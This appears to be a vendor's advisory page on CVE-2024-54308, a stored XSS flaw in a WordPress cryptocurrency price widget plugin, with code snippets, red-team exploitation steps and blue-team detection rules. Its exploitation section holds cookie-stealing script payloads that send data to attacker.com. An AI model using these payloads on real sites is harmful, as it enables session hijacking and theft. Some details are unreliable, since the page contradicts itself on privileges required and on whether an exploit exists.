CVE-2024-54308
Executive Summary
CVE-2024-54308 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Cryptocurrency Price Widget" by Falselight, affecting versions up to and including 1.2.3. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, data theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Falselight) and consider removing the plugin if no patch is released. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to inject the payload.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a widely-used plugin could lead to significant impact in targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the cryptocurrency-price-widget plugin, which displays cryptocurrency prices via shortcodes or widgets. The plugin fails to sanitize or escape user-supplied input before storing it in the database and rendering it on the page. An attacker with contributor-level access or higher can inject malicious JavaScript into fields such as widget titles, descriptions, or custom CSS/HTML fields. When an administrator or visitor loads the page containing the widget, the injected script executes in their browser.
Root Cause: The plugin uses functions like echo or the_title without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()). This allows arbitrary HTML and JavaScript to be stored and rendered.
Attack Flow:
- Attacker logs in with a role that can edit widget settings (e.g., Contributor, Author).
- Attacker navigates to the widget configuration page and injects a payload like
<script>alert('XSS')</script>into a text field. - The payload is stored in the WordPress database.
- When an administrator or visitor views a page containing the widget, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.2.3):
// In widget output function
echo $instance['title']; // No escaping
Patched Code (hypothetical):
// In widget output function
echo esc_html( $instance['title'] ); // Properly escaped
The vulnerable code directly outputs user input without sanitization, while the patched version uses esc_html() to neutralize HTML/JavaScript.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Cryptocurrency Price Widget plugin (<= 1.2.3) installed and activated.
- An account with at least Contributor-level permissions.
Steps:
- Log in to WordPress as a Contributor.
- Navigate to Appearance > Widgets.
- Add the "Cryptocurrency Price Widget" to a sidebar.
- In the widget title field, enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the widget.
- When an administrator visits the site, the script executes, sending their cookies to the attacker's server.
Alternative Payload (Steal Admin Credentials):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({cookie: document.cookie}));
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress admin logs for unusual widget modifications.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Regularly scan the site for malicious scripts using security plugins.
Hardening:
- Disable the plugin until a patch is released.
- Restrict user roles to prevent contributors from editing widgets.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File System: Modified plugin files in
/wp-content/plugins/cryptocurrency-price-widget/containing suspicious JavaScript. - Database: Entries in
wp_optionsorwp_postmetawith<script>tags. - Network: Outbound connections to unknown domains from the WordPress server.
- Logs: Unusual widget save events in WordPress audit logs.
Detection Engineering
YARA Rule
rule Detect_Cryptocurrency_Price_Widget_XSS {
meta:
description = "Detects stored XSS payloads in Cryptocurrency Price Widget plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54308"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = /cryptocurrency-price-widget/
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in Cryptocurrency Price Widget
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in the Cryptocurrency Price Widget plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: /wp-admin/admin-ajax.php
http.body: 'action=save-widget'
http.body: 'id_base=cryptocurrency-price-widget'
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-54308 Stored XSS in Cryptocurrency Price Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save-widget"; http_client_body; content:"id_base=cryptocurrency-price-widget"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and clean any existing widget configurations for malicious content.
- Change all admin passwords if compromise is suspected.
Long-term Mitigation:
- Monitor the WordPress plugin repository for updates from Falselight.
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce the principle of least privilege for user roles.
- Regularly audit plugins for known vulnerabilities.
Workaround:
- If the plugin must remain active, use a security plugin like Wordfence to block XSS payloads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.